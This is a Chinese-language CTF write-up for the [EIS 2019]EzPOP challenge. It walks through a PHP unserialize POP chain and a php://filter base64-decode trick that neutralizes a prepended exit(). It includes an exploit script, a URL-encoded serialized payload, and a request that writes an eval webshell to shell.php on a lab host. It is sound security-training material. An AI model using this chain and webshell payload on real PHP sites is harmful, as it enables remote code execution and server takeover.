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php://filter绕过死亡exit

前言

最近写了一道反序列化的题，其中有一个需要通过php://filter去绕过死亡exit()的小trick，这里通过一道题目来讲解

[EIS 2019]EzPOP

题目源码：

<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {return $this->options['prefix'] . $name;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return true;}return false;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);

刚开始看到这题很懵逼，我们这里反过来讲，首先容易看出，这段代码应该是需要我们写一个shell进去

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

我们溯源一下filename和data的值是从哪里传过来的：

$filename = $this->getCacheKey($name);
$data = $this->serialize($value);

可以看到，这两个值是从函数：public function set($name, $value, $expire = null): bool的形参中传过来的，如何调用set()方法呢？我们需要注意到：A::__destruct()

A::__destruct() -> save() -> set()

set()会被A的变量store调用，所以store就需要传递一个B类的对象。而A调用set()传递了三个参数：

set($this->key, $contents, $this->expire) ，其中key在构造方法中赋值，$contents在哪来呢？

$contents = $this->getForStorage() -> $this->cleanContents($this->cache)

$this->cache变量传入cleanContents()返回，最终通过json串形式返回给$contents

其实getForStorage()和cleanContents()没什么用，这里不用管，$expire也没什么用

经过分析，我们知道在A类中，$key传入的是写入文件的名字，$cache可以最终传给$contents，然后当作文件内容写入，$store存储B类对象，$complete、$expire为空值即可

这样我们能够确定B类set()中file_put_contents()的两个变量了，但是怎么绕过exit()？不绕过写了shell也没用

这里通过 p神文章 学习了通过php://filter绕过

我们可以使用该php://filter的base64-decode、rot13、strip_tags等过滤器来绕过，这里我们使用base64-decode：

绕过exit

如果我们在写入文件的前面有exit()，例如：

<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);

我们这里$filename $content 都是可以控制的，于是我们可以使用php://filter/write=convert.base64-decode/

当我们的$filename为：php://filter/write=convert.base64-decode/resource=shell.php

PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是<?php @eval($_POST[1]);?>的base64编码

并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

那么就可以进行绕过，shell.php:

�^�+q<?php @eval($_POST[1]);?>

这是什么原理呢，当我们文件名是php://filter伪协议，并且进行base64解码时，就会将写入文件内容的数据进行一次base64解码，于是原来的<?php exit();?>经过解码后就失效了，PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。

为什么这里$content前要加一个字母x？因为base64解码是4个一组，<?php exit();?>为15个字符，加上一个刚好凑够16个，不干扰后面的base64解码

知道绕过exit就简单了，我们可以将一句话木马base64编码两遍，传给A::cache变量，然后设置一下B中的options数组：

$this->options = array('serialize'=>'base64_decode','expire'=>'123');

这样B中的data就是，经过了一个base64解码后的值了

$data = $this->serialize($value);

然后在php://filter是base64解码两次，写入了shell.php中

我们编写exp：

<?phpclass A
{protected $store;protected $key;protected $expire;public $complete;public $cache;public function __construct(){$this->store = new B();$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";$this->expire = null;$this->complete = "";$this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");}}class B
{public $options;public function __construct(){$this->options = array('serialize'=>'base64_decode','expire'=>'123');}}$a = new A();
echo urlencode(serialize($a));# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

这里有个点需要注意一下：

在一句话木马一次base64后需要在前面加3个a，让其4个一组

写入：

http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D

参考

谈一谈php://filter的妙用

[EIS 2019]EzPOP